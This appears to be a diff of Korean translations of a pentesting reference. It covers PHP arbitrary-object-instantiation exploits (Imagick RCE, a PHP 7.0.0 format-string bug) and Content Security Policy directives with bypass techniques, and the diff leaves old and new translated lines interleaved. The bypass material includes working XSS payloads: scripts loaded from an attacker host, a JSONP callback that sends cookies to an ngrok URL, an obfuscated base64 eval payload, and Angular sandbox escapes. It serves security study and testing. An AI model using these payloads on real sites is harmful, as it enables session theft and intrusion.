PHP 5.3.22 및 5.4.12 버전까지는 `SoapClient``SimpleXMLElement` 생성자를 통해 XXE 공격에 취약했습니다. 이는 libxml2의 버전에 따라 달라집니다.
libxml2 버전에 따라, PHP의 5.3.22 및 5.4.12까지의 버전은 `SoapClient``SimpleXMLElement` 생성자를 통한 XXE 공격에 취약했습니다.
## RCE via Imagick Extension
## Imagick Extension을 통한 RCE
**프로젝트의 의존성** 분석에서 **Imagick**가 새로운 객체를 인스턴스화하여 **명령 실행**에 활용될 수 있음을 발견했습니다. 이는 취약점을 악용할 기회를 제공합니다.
프로젝트의 **의존성** 분석에서, 새로운 객체를 인스턴스화함으로써 **Imagick**이 **command execution**에 활용될 수 있음이 발견되었습니다. 이는 취약점 악용의 기회를 제공합니다.
### VID 파서
### VID parser
파일 시스템의 지정된 경로에 콘텐츠를 쓸 수 있는 VID 파서 기능이 확인되었습니다. 이는 웹에서 접근 가능한 디렉토리에 PHP 셸을 배치하여 원격 코드 실행(RCE)을 달성할 수 있습니다.
VID parser가 파일시스템의 임의 경로에 콘텐츠를 쓸 수 있는 기능이 확인되었습니다. 이는 웹에서 접근 가능한 디렉터리에 PHP 쉘을 배치하여 Remote Code Execution (RCE)을 달성할 수 있음을 의미합니다.
#### VID Parser + 파일 업로드
#### VID Parser + File Upload
PHP는 업로드된 파일을 `/tmp/phpXXXXXX`에 임시로 저장하는 것으로 알려져 있습니다. **msl** 프로토콜을 사용하는 Imagick의 VID 파서는 파일 경로에서 와일드카드를 처리할 수 있어 임시 파일을 선택한 위치로 전송할 수 있습니다. 이 방법은 파일 시스템 내에서 임의 파일 작성을 달성하는 추가적인 접근 방식을 제공합니다.
PHP가 업로드된 파일을 일시적으로 `/tmp/phpXXXXXX`에 저장한다는 점을 이용할 수 있습니다. Imagick의 VID parser는 **msl** 프로토콜을 사용하여 파일 경로의 와일드카드를 처리할 수 있어, 임시 파일을 원하는 위치로 전송하는 것이 가능합니다. 이 방법은 파일시스템 내에서 임의 파일 쓰기를 달성하는 또 다른 방식을 제공합니다.
### PHP 충돌 + 무차별 대입
### PHP Crash + Brute Force
[**원본 작성물**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)에 설명된 방법은 삭제 전에 서버 충돌을 유발하는 파일을 업로드하는 것입니다. 임시 파일의 이름을 무차별 대입하여 Imagick가 임의의 PHP 코드를 실행할 수 있게 됩니다. 그러나 이 기술은 구버전의 ImageMagick에서만 효과적인 것으로 나타났습니다.
[**original writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)에 설명된 방법은 삭제되기 전에 서버 크래시를 유발하는 파일을 업로드하는 것을 포함합니다. 임시 파일 이름을 무차별 대입으로 찾으면 Imagick이 임의의 PHP 코드를 실행할 수 있게 됩니다. 다만 이 기법은 오래된 버전의 ImageMagick에서만 효과적이었던 것으로 확인되었습니다.
## Format-string in class-name resolution (PHP 7.0.0 Bug #71105)
사용자 입력이 클래스 이름을 제어할 때(예: `new $_GET['model']()`), PHP 7.0.0에서는 `Throwable` 리팩토링 중 일시적인 버그가 발생하여 엔진이 클래스 이름을 해석하는 과정에서 이를 printf 형식 문자열로 잘못 처리했습니다. 이로 인해 PHP 내에서 고전적인 printf 스타일의 원시 기능들을 활용할 수 있게 되었는데, 예컨대 `%p`로 leak하거나, 너비 지정자로 쓰기 횟수를 제어하고, `%n`으로 프로세스 내 포인터(예: ELF 빌드의 GOT 엔트리)에 임의 쓰기를 수행할 수 있습니다.
최소 재현 취약 패턴:
```php
<?php
$model = $_GET['model'];
$object = new $model();
```
공격 개요 (참고 출처):
- Leak 주소를 클래스 이름의 `%p`로 노출시켜 쓰기 가능한 타깃을 찾음:
```bash
curl "http://host/index.php?model=%p-%p-%p"
# Fatal error includes resolved string with leaked pointers
```
- 위치 매개변수(positional parameters)와 너비 지정자(width specifiers)를 사용해 정확한 바이트 수를 설정한 다음 `%n`으로 그 값을 스택에서 접근 가능한 주소에 씁니다. 목적은 GOT 슬롯(예: `free`)을 겨냥해 부분적으로 덮어써 `system`으로 연결하는 것입니다.
- 쉘 파이프가 포함된 클래스 이름을 전달하여 하이재킹된 함수(hijacked function)를 트리거해 `system("id")`에 도달시킵니다.
참고:
- PHP 7.0.0에서만 동작(버그 [#71105](https://bugs.php.net/bug.php?id=71105)); 이후 릴리스에서 수정됨. 임의의 클래스 인스턴스화가 가능한 경우 심각도: 치명적.
- 일반적인 페이로드는 스택을 탐색하기 위해 많은 `%p`를 연쇄하고, 그 다음 `%.<width>d%<pos>$n`으로 부분 덮어쓰기를 수행합니다.
## References
- [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)
- [The Art of PHP: CTFborn exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,30 +2,30 @@
{{#include ../../banners/hacktricks-training.md}}
## What is CSP
## CSP란 무엇인가
Content Security Policy (CSP)는 주로 **교차 사이트 스크립팅(XSS)과 같은 공격으로부터 보호하기 위한** 브라우저 기술로 인식됩니다. 이는 브라우저가 안전하게 리소스를 로드할 수 있는 경로와 출처를 정의하고 상세히 설명함으로써 작동합니다. 이러한 리소스는 이미지, 프레임 및 JavaScript와 같은 다양한 요소를 포함합니다. 예를 들어, 정책은 동일한 도메인(자체)에서 리소스를 로드하고 실행하는 것을 허용할 수 있으며, 여기에는 인라인 리소스와 `eval`, `setTimeout`, 또는 `setInterval`과 같은 함수를 통한 문자열 코드 실행이 포함됩니다.
Content Security Policy (CSP)은 브라우저 기술로, 주로 **cross-site scripting (XSS)와 같은 공격으로부터 보호**하는 것을 목적으로 합니다. 브라우저가 안전하게 로드할 수 있는 리소스의 출처와 경로를 정의하고 명시함으로써 동작합니다. 이러한 리소스에는 이미지, 프레임, JavaScript 등 다양한 요소가 포함됩니다. 예를 들어, 정책은 동일 도메인(self)에서의 리소스 로드 및 실행, 인라인 리소스와 `eval`, `setTimeout`, `setInterval` 같은 함수로 문자열 코드를 실행하는 것을 허용할 수 있습니다.
CSP의 구현은 **응답 헤더**를 통해 또는 **HTML 페이지에 메타 요소를 포함시킴으로써** 수행됩니다. 이 정책에 따라 브라우저는 이러한 규정을 적극적으로 시행하고 감지된 위반 사항을 즉시 차단합니다.
CSP는 **response headers**를 통해 구현되거나, HTML 페이지에 **meta 요소**를 포함하여 적용될 수 있습니다. 브라우저는 이 정책을 준수하며 규정을 적극적으로 적용하고, 위반이 감지되면 즉시 차단합니다.
- Implemented via response header:
```
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
```
- 메타 태그를 통해 구현됨:
- meta 태그를 통해 구현됨:
```xml
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
```
### Headers
### 헤더
CSP는 다음 헤더를 사용하여 시행되거나 모니터링될 수 있습니다:
다음 헤더를 사용해 CSP를 적용하거나 모니터링할 수 있습니다:
- `Content-Security-Policy`: CSP를 시행합니다; 브라우저는 위반 사항을 차단합니다.
- `Content-Security-Policy-Report-Only`: 모니터링에 사용됩니다; 위반 사항을 차단하지 않고 보고합니다. 사전 생산 환경에서 테스트하는 데 이상적입니다.
- `Content-Security-Policy`: CSP를 적용하며, 브라우저가 모든 위반을 차단합니다.
- `Content-Security-Policy-Report-Only`: 모니터링용으로 사용되며, 위반을 차단하지 않고 보고합니다. 사전 운영 환경에서 테스트할 때 적합합니다.
### Defining Resources
### 리소스 정의
CSP는 활성 및 수동 콘텐츠 로딩의 출처를 제한하여 인라인 JavaScript 실행 및 `eval()` 사용과 같은 측면을 제어합니다. 예시 정책은:
CSP는 액티브 및 패시브 콘텐츠의 로드 출처(origin)를 제한하며, inline JavaScript execution 및 `eval()` 사용과 같은 동작을 제어합니다. 예시 정책은 다음과 같습니다:
```bash
default-src 'none';
img-src 'self';
@ -37,44 +37,44 @@ frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';
```
### Directives
### 디렉티브
- **script-src**: JavaScript에 대한 특정 소스를 허용합니다. 여기에는 URL, 인라인 스크립트 및 이벤트 핸들러나 XSLT 스타일시트에 의해 트리거된 스크립트가 포함됩니다.
- **default-src**: 특정 가져오기 지시문이 없을 때 리소스를 가져오기 위한 기본 정책을 설정합니다.
- **child-src**: 웹 워커 및 임베디드 프레임 콘텐츠에 대한 허용된 리소스를 지정합니다.
- **connect-src**: fetch, WebSocket, XMLHttpRequest와 같은 인터페이스를 사용하여 로드할 수 있는 URL을 제한합니다.
- **script-src**: JavaScript에 대한 특정 출처를 허용합니다(예: URL, 인라인 스크립트, 이벤트 핸들러나 XSLT 스타일시트로 실행되는 스크립트 포함).
- **default-src**: 특정 fetch 디렉티브가 없을 때 리소스 페칭에 대한 기본 정책을 설정합니다.
- **child-src**: web worker와 임베디드 프레임 콘텐츠에 허용되는 리소스를 지정합니다.
- **connect-src**: fetch, WebSocket, XMLHttpRequest 같은 인터페이스로 로드할 수 있는 URL을 제한합니다.
- **frame-src**: 프레임에 대한 URL을 제한합니다.
- **frame-ancestors**: 현재 페이지를 포함할 수 있는 소스를 지정합니다. 이는 `<frame>`, `<iframe>`, `<object>`, `<embed>`, `<applet>`와 같은 요소에 적용됩니다.
- **img-src**: 이미지에 대한 허용된 소스를 정의합니다.
- **font-src**: `@font-face`를 사용하여 로드된 글꼴에 대한 유효한 소스를 지정합니다.
- **manifest-src**: 애플리케이션 매니페스트 파일의 허용된 소스를 정의합니다.
- **media-src**: 미디어 객체를 로드하기 위한 허용된 소스를 정의합니다.
- **object-src**: `<object>`, `<embed>`, `<applet>` 요소에 대한 허용된 소스를 정의합니다.
- **base-uri**: `<base>` 요소를 사용하여 로드할 수 있는 허용된 URL을 지정합니다.
- **form-action**: 폼 제출을 위한 유효한 엔드포인트를 나열합니다.
- **plugin-types**: 페이지에서 호출할 수 있는 mime 유형을 제한합니다.
- **upgrade-insecure-requests**: 브라우저 HTTP URL을 HTTPS로 재작성하도록 지시합니다.
- **frame-ancestors**: 현재 페이지를 임베드할 수 있는 출처를 지정합니다(`<frame>`, `<iframe>`, `<object>`, `<embed>`, `<applet>` 요소에 적용).
- **img-src**: 이미지에 허용되는 출처를 정의합니다.
- **font-src**: `@font-face`로 로드되는 폰트의 유효한 출처를 지정합니다.
- **manifest-src**: 애플리케이션 manifest 파일의 허용 출처를 정의합니다.
- **media-src**: 미디어 객체를 로드할 때 허용되는 출처를 정의합니다.
- **object-src**: `<object>`, `<embed>`, `<applet>` 요소에 허용되는 출처를 정의합니다.
- **base-uri**: `<base>` 요소를 사용하여 로드할 때 허용되는 URL을 지정합니다.
- **form-action**: 폼 제출 유효한 엔드포인트를 나열합니다.
- **plugin-types**: 페이지가 호출할 수 있는 mime 타입을 제한합니다.
- **upgrade-insecure-requests**: 브라우저 HTTP URL을 HTTPS로 재작성하도록 지시합니다.
- **sandbox**: `<iframe>`의 sandbox 속성과 유사한 제한을 적용합니다.
- **report-to**: 정책이 위반될 경우 보고서를 보낼 그룹을 지정합니다.
- **worker-src**: Worker, SharedWorker 또는 ServiceWorker 스크립트에 대한 유효한 소스를 지정합니다.
- **prefetch-src**: 가져오거나 미리 가져올 리소스에 대한 유효한 소스를 지정합니다.
- **navigate-to**: 문서가 어떤 수단으로든 탐색할 수 있는 URL을 제한합니다(a, form, window.location, window.open 등).
- **report-to**: 정책 위반 시 보고서를 보낼 그룹을 지정합니다.
- **worker-src**: Worker, SharedWorker, 또는 ServiceWorker 스크립트의 유효한 출처를 지정합니다.
- **prefetch-src**: 페치되거나 프리페치될 리소스의 유효한 출처를 지정합니다.
- **navigate-to**: 문서가 어떤 수단(a, form, window.location, window.open 등)을 통해 이동할 수 있는 URL을 제한합니다.
### Sources
### 소스
- `*`: `data:`, `blob:`, `filesystem:` 스킴을 제외한 모든 URL을 허용합니다.
- `'self'`: 동일 도메인에서 로드를 허용합니다.
- `'data'`: 데이터 스킴을 통해 리소스를 로드할 수 있도록 허용합니다(예: Base64 인코딩된 이미지).
- `'none'`: 어떤 소스에서도 로드를 차단합니다.
- `'unsafe-eval'`: `eval()` 및 유사한 메서드의 사용을 허용하지만 보안상의 이유로 권장되지 않습니다.
- `'self'`: 동일 도메인에서 로드를 허용합니다.
- `'data'`: data 스킴(e.g., Base64 인코딩된 이미지)을 통해 리소스를 로드하는 것을 허용합니다.
- `'none'`: 어떤 출처에서도 로드하지 못하도록 차단합니다.
- `'unsafe-eval'`: `eval()` 및 유사 메서드의 사용을 허용합니다(보안상 권장되지 않습니다).
- `'unsafe-hashes'`: 특정 인라인 이벤트 핸들러를 활성화합니다.
- `'unsafe-inline'`: 인라인 `<script>` 또는 `<style>`과 같은 인라인 리소스의 사용을 허용하지만 보안상의 이유로 권장되지 않습니다.
- `'nonce'`: 암호화된 nonce(한 번 사용되는 숫자)를 사용하는 특정 인라인 스크립트에 대한 화이트리스트입니다.
- JS 실행이 제한된 경우, `doc.defaultView.top.document.querySelector("[nonce]")`를 사용하여 페이지 내에서 사용된 nonce를 가져오고 이를 재사용하여 악성 스크립트를 로드할 수 있습니다(엄격한 동적이 사용되는 경우, 허용된 소스는 새로운 소스를 로드할 수 있으므로 필요하지 않습니다). 다음과 같이:
- `'unsafe-inline'`: 인라인 `<script>``<style>` 같은 인라인 리소스의 사용을 허용합니다(보안상 권장되지 않습니다).
- `'nonce'`: 암호학적 nonce(한 번만 사용되는 값)를 이용한 특정 인라인 스크립트의 화이트리스트입니다.
- JS가 제한된 실행 환경인 경우, 페이지 내부에서 사용된 nonce를 `doc.defaultView.top.document.querySelector("[nonce]")`로 얻어와 악성 스크립트를 로드하기 위해 재사용할 수 있습니다(만약 strict-dynamic이 사용되면, 허용된 어떤 출처도 새로운 출처를 로드할 수 있으므로 이 방법은 필요하지 않습니다), 예:
<details>
<summary>Load script reusing nonce</summary>
<summary>nonce를 재사용해 스크립트 로드하기</summary>
```html
<!-- From https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/ -->
<img
@ -88,16 +88,16 @@ b.nonce=a.nonce; doc.body.appendChild(b)' />
```
</details>
- `'sha256-<hash>'`: 특정 sha256 해시를 가진 스크립트를 화이트리스트에 추가합니다.
- `'strict-dynamic'`: nonce 또는 해시로 화이트리스트에 추가된 경우 모든 출처에서 스크립트를 로드할 수 있습니다.
- `'host'`: `example.com`과 같은 특정 호스트를 지정합니다.
- `'sha256-<hash>'`: 특정 sha256 해시를 가진 스크립트를 허용 목록에 추가합니다.
- `'strict-dynamic'`: nonce나 hash로 허용 목록에 추가된 경우 모든 출처의 스크립트 로드를 허용합니다.
- `'host'`: 특정 호스트를 지정합니다(예: `example.com`).
- `https:`: HTTPS를 사용하는 URL로 제한합니다.
- `blob:`: Blob URL(예: JavaScript를 통해 생성된 Blob URL)에서 리소스를 로드할 수 있습니다.
- `filesystem:`: 파일 시스템에서 리소스를 로드할 수 있습니다.
- `'report-sample'`: 위반 보고서에 위반 코드를 샘플로 포함합니다(디버깅에 유용).
- `'strict-origin'`: 'self'와 유사하지만 출처의 프로토콜 보안 수준이 문서와 일치하는지 확인합니다(안전한 출처만 안전한 출처에서 리소스를 로드할 수 있습니다).
- `'strict-origin-when-cross-origin'`: 동일 출처 요청을 할 때 전체 URL을 전송하지만, 교차 출처 요청 시에는 출처만 전송합니다.
- `'unsafe-allow-redirects'`: 즉시 다른 리소스로 리디렉션되는 리소스를 로드할 수 있습니다. 보안을 약화시키므로 권장하지 않습니다.
- `blob:`: Blob URL(예: JavaScript로 생성된 Blob URL)에서 리소스를 로드할 수 있게 합니다.
- `filesystem:`: 파일시스템에서 리소스를 로드할 수 있게 합니다.
- `'report-sample'`: 위반 보고서에 위반 코드의 샘플을 포함합니다(디버깅에 유용).
- `'strict-origin'`: 'self'와 유사하지만 출처의 프로토콜 보안 수준이 문서와 일치하는지 확인합니다(보안된 출처만 보안된 출처에서 리소스를 로드할 수 있음).
- `'strict-origin-when-cross-origin'`: 동일 출처 요청 시 전체 URL을 전송하지만 크로스 오리진 요청 시에는 출처(origin)만 전송합니다.
- `'unsafe-allow-redirects'`: 즉시 다른 리소스로 리디렉션되는 리소스의 로드를 허용합니다. 보안을 약화시키므로 권장되지 않습니다.
## 안전하지 않은 CSP 규칙
@ -105,7 +105,7 @@ b.nonce=a.nonce; doc.body.appendChild(b)' />
```yaml
Content-Security-Policy: script-src https://google.com 'unsafe-inline';
```
작동하는 페이로드: `"/><script>alert(1);</script>`
동작하는 payload: `"/><script>alert(1);</script>`
#### Iframes를 통한 self + 'unsafe-inline'
@ -117,34 +117,34 @@ csp-bypass-self-+-unsafe-inline-with-iframes.md
### 'unsafe-eval'
> [!CAUTION]
> 이것은 작동하지 않습니다. 자세한 내용은 [**여기를 확인하세요**](https://github.com/HackTricks-wiki/hacktricks/issues/653).
> 작동하지 않습니다. 자세한 내용은 [**check this**](https://github.com/HackTricks-wiki/hacktricks/issues/653).
```yaml
Content-Security-Policy: script-src https://google.com 'unsafe-eval';
```
작동하는 페이로드:
작동하는 payload:
```html
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>
```
### strict-dynamic
만약 허용된 JS 코드가 당신의 JS 코드로 새로운 스크립트 태그를 DOM에 생성할 수 있다면, 허용된 스크립트가 그것을 생성하고 있기 때문에 **새로운 스크립트 태그는 실행될 수 있습니다**.
만약 어떻게든 **허용된 JS 코드가 DOM에 새로운 script tag를 생성**하도록 당신의 JS 코드를 넣게 만들 수 있다면, 허용된 스크립트가 그것을 생성하고 있으므로 그 **새로운 script tag는 실행되도록 허용됩니다**.
### Wildcard (\*)
### 와일드카드 (\*)
```yaml
Content-Security-Policy: script-src 'self' https://google.com https: data *;
```
작동하는 페이로드:
작동하는 payload:
```html
"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>
```
### object-src 및 default-src 부
### object-src 및 default-src 부
> [!CAUTION] > **더 이상 작동하지 않는 것 같습니다**
> [!CAUTION] > **더 이상 작동하지 않는 것으로 보입니다**
```yaml
Content-Security-Policy: script-src 'self' ;
```
작동하는 페이로드:
작동하는 payloads:
```html
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
@ -154,30 +154,30 @@ Content-Security-Policy: script-src 'self' ;
```yaml
Content-Security-Policy: script-src 'self'; object-src 'none' ;
```
JS 파일을 업로드할 수 있다면 이 CSP를 우회할 수 있습니다:
만약 JS 파일을 업로드할 수 있다면 이 CSP를 bypass할 수 있습니다:
작동하는 페이로드:
Working payload:
```html
"/>'><script src="/uploads/picture.png.js"></script>
```
그러나 서버가 **업로드된 파일을 검증하고** 특정 유형의 파일만 **업로드하도록 허용할 가능성이 높습니다**.
하지만, 서버가 업로드된 파일을 **검증**하여 특정 유형의 파일만 **업로드 허용**할 가능성이 매우 높다.
게다가, 서버에서 허용하는 확장자를 가진 파일에 **JS 코드를 포함하여** 업로드할 수 있다고 하더라도(예: _script.png_) 이는 충분하지 않습니다. 왜냐하면 아파치 서버와 같은 일부 서버는 **확장자에 따라 파일의 MIME 유형을 선택하고**, Chrome과 같은 브라우저는 **이미지여야 하는 것 안의 Javascript** 코드를 실행하는 것을 **거부하기 때문입니다**. "다행히도", 실수가 있습니다. 예를 들어, CTF에서 **Apache는** _**.wave**_ 확장자를 알지 못하므로, 이를 **audio/\***와 같은 MIME 유형으로 제공하지 않습니다.
또한, 서버가 허용하는 확장자(예: _script.png_)로 파일 안에 **JS 코드**를 업로드할 수 있다 해도, 일부 서버(예: apache server)는 확장자에 따라 **MIME type을 선택(select MIME type of the file based on the extension)**하고 Chrome 같은 브라우저는 이미지여야 할 파일 안의 Javascript 실행을 **거부(reject to execute Javascript)**한다. 다행히도 실수가 존재한다. 예를 들어 CTF에서 배운 바로는 **Apache doesn't know** the _**.wave**_ extension, therefore it doesn't serve it with a **MIME type like audio/***.
여기서 XSS와 파일 업로드를 찾고, **잘못 해석된 확장자**를 찾으면, 해당 확장자와 스크립트 내용을 가진 파일을 업로드해 볼 수 있습니다. 또는 서버가 업로드된 파일의 올바른 형식을 확인하는 경우, 폴리글롯을 생성할 수 있습니다 ([여기에서 일부 폴리글롯 예제](https://github.com/Polydet/polyglot-database)).
여기서, XSS와 파일 업로드가 모두 있다면 **misinterpreted extension**을 찾아 해당 확장자로 스크립트 내용을 가진 파일을 업로드해볼 수 있다. 또는 서버가 업로드된 파일의 형식을 엄격히 검사한다면 polyglot을 만들어보라 ([some polyglot examples here](https://github.com/Polydet/polyglot-database)).
### Form-action
JS를 주입할 수 없다면, 예를 들어 **폼 액션을 주입하여** 자격 증명을 유출해 볼 수 있습니다(그리고 아마도 비밀번호 관리자가 비밀번호를 자동으로 채우기를 기대할 수 있습니다). [**이 보고서에서 예를 찾을 수 있습니다**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). 또한, `default-src`가 폼 액션을 포함하지 않는다는 점에 유의하세요.
JS 주입이 불가능한 경우에도, 예를 들어 자격증명 같은 정보를 유출하기 위해 **form action을 주입(injecting a form action)** 해볼 수 있다(그리고 password manager가 자동으로 비밀번호를 채워주기를 기대할 수도 있다). You can find an [**example in this report**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). 또한 `default-src`는 form actions를 커버하지 않는다는 점에 유의하라.
### 제3자 엔드포인트 + ('unsafe-eval')
### Third Party Endpoints + ('unsafe-eval')
> [!WARNING]
> 다음 페이로드 중 일부에 대해 **`unsafe-eval`은 필요하지도 않습니다**.
> For some of the following payload **`unsafe-eval` is not even needed**.
```yaml
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
```
취약한 버전의 Angular를 로드하고 임의의 JS를 실행합니다:
취약한 버전의 angular를 로드하여 임의의 JS를 실행:
```xml
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>
@ -198,10 +198,10 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>
```
#### Angular을 사용한 페이로드 + `window` 객체를 반환하는 함수가 있는 라이브러리 ([이 게시물을 확인하세요](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
#### Payloads using Angular + a library with functions that return the `window` object ([check out this post](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
> [!TIP]
> 이 게시물에서는 `cdn.cloudflare.com` (또는 다른 허용된 JS 라이브러리 저장소)에서 모든 **라이브러리**를 **로드**하고, 각 라이브러리에서 추가된 모든 함수를 실행하며, **어떤 라이브러리의 어떤 함수가 `window` 객체를 반환하는지** 확인할 수 있음을 보여줍니다.
> 해당 포스트는 `cdn.cloudflare.com`(또는 다른 허용된 JS 라이브러리 저장소)에서 모든 **libraries**를 **load**한 뒤, 각 라이브러리의 추가된 모든 함수를 실행하여 **어떤 라이브러리의 어떤 함수가 `window` 객체를 반환하는지** 확인할 수 있음을 보여줍니다.
```html
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
@ -231,9 +231,9 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>
```
#### Google reCAPTCHA JS 코드 악용
#### google recaptcha JS 코드 악용
[**이 CTF 작성글**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves)에 따르면, CSP 내에서 [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/)를 악용하여 CSP를 우회하고 임의의 JS 코드를 실행할 수 있습니다:
[**this CTF writeup**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves)에 따르면 CSP 내에서 [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/)를 악용 CSP를 우회하고 임의의 JS 코드를 실행할 수 있습니다:
```html
<div
ng-controller="CarouselController as c"
@ -244,7 +244,7 @@ ng-init="c.init()"
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
```
더 많은 [**이 글에서의 페이로드**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/):
더 많은 [**payloads from this writeup**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/):
```html
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
@ -261,21 +261,21 @@ b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)' />
```
#### www.google.com을 이용한 오픈 리다이렉트 악용
#### www.google.com을 통한 open redirect 악용
다음 URL은 example.com으로 리다이렉트됩니다 (from [here](https://www.landh.tech/blog/20240304-google-hack-50000/)):
다음 URL은 example.com으로 리디렉트됩니다 (출처: [here](https://www.landh.tech/blog/20240304-google-hack-50000/)):
```
https://www.google.com/amp/s/example.com/
```
\*.google.com/script.google.com 악용하기
악용 \*.google.com/script.google.com
script.google.com 내의 페이지에서 정보를 수신하기 위해 Google Apps Script를 악용할 수 있습니다. 이는 [이 보고서에서와 같이](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/) 수행됩니다.
Google Apps Script를 악용해 script.google.com 내부의 페이지에서 정보를 수신하는 것이 가능합니다. 이는 [done in this report](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/)에서 수행된 것과 같습니다.
### 제3자 엔드포인트 + JSONP
### Third Party Endpoints + JSONP
```http
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
```
이와 같은 시나리오에서 `script-src``self`와 특정 도메인으로 설정되어 있는 경우, JSONP를 사용하여 우회할 수 있습니다. JSONP 엔드포인트는 공격자가 XSS를 수행할 수 있는 불안전한 콜백 메서드를 허용합니다. 작동하는 페이로드:
이와 같은 시나리오에서 `script-src``self`와 특정 도메인(화이트리스트에 포함된)으로 설정된 경우 JSONP를 사용해 우회할 수 있다. JSONP 엔드포인트는 공격자가 XSS를 수행할 수 있도록 하는 안전하지 않은 콜백 메서드를 허용한다. 동작하는 payload:
```html
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
@ -289,15 +289,15 @@ https://www.youtube.com/oembed?callback=alert;
```html
<script type="text/javascript" crossorigin="anonymous" src="https://accounts.google.com/o/oauth2/revoke?callback=eval(atob(%27KGZ1bmN0aW9uKCl7CiBsZXQgdnIgPSAoKT0%2Be3dpdGgobmV3IHRvcFsnVydbJ2NvbmNhdCddKCdlYicsJ1MnLCdjZycmJidvY2snfHwncGsnLCdldCcpXSgndydbJ2NvbmNhdCddKCdzcycsJzpkZWZkZWYnLCdsaScsJ3ZlY2hhdGknLCduYycsJy4nfHwnOycsJ25ldHdvcmtkZWZjaGF0cGlwZWRlZjAyOWRlZicpWydzcGxpdCddKCdkZWYnKVsnam9pbiddKCIvIikpKShvbm1lc3NhZ2U9KGUpPT5uZXcgRnVuY3Rpb24oYXRvYihlWydkYXRhJ10pKS5jYWxsKGVbJ3RhcmdldCddKSl9O25hdmlnYXRvclsnd2ViZHJpdmVyJ118fChsb2NhdGlvblsnaHJlZiddWydtYXRjaCddKCdjaGVja291dCcpJiZ2cigpKTsKfSkoKQ%3D%3D%27));"></script>
```
[**JSONBee**](https://github.com/zigoo0/JSONBee) **는 다양한 웹사이트의 CSP 우회를 위한 사용 가능한 JSONP 엔드포인트를 포함하고 있습니다.**
[**JSONBee**](https://github.com/zigoo0/JSONBee) **다양한 웹사이트의 CSP bypass를 위한 바로 사용할 수 있는 JSONP endpoints를 포함합니다.**
**신뢰할 수 있는 엔드포인트에 Open Redirect가 포함되어 있으면** 동일한 취약점이 발생합니다. 초기 엔드포인트가 신뢰할 수 있는 경우 리디렉션도 신뢰할 수 있습니다.
동일한 취약성은 **신뢰된 엔드포인트에 Open Redirect가 포함된 경우**에도 발생합니다. 초기 엔드포인트가 신뢰되면 리디렉트도 신뢰되기 때문입니다.
### 제3자
### 제3자
[다음 게시물](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses)에서 설명된 바와 같이, CSP에서 허용될 수 있는 많은 제3자 도메인이 있으며, 이를 통해 데이터를 유출하거나 JavaScript 코드를 실행할 수 있습니다. 이러한 제3자 중 일부는 다음과 같습니다:
As described in the [following post](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), CSP의 어디엔가 허용될 수 있는 많은 제3자 도메인이 있으며, 이들은 데이터를 exfiltrate하거나 JavaScript 코드를 실행하는 데 악용될 수 있습니다. 일부 제3자 도메인은 다음과 같습니다:
| Entity | Allowed Domain | Capabilities |
| 엔티티 | 허용 도메인 | 기능 |
| ----------------- | -------------------------------------------- | ------------ |
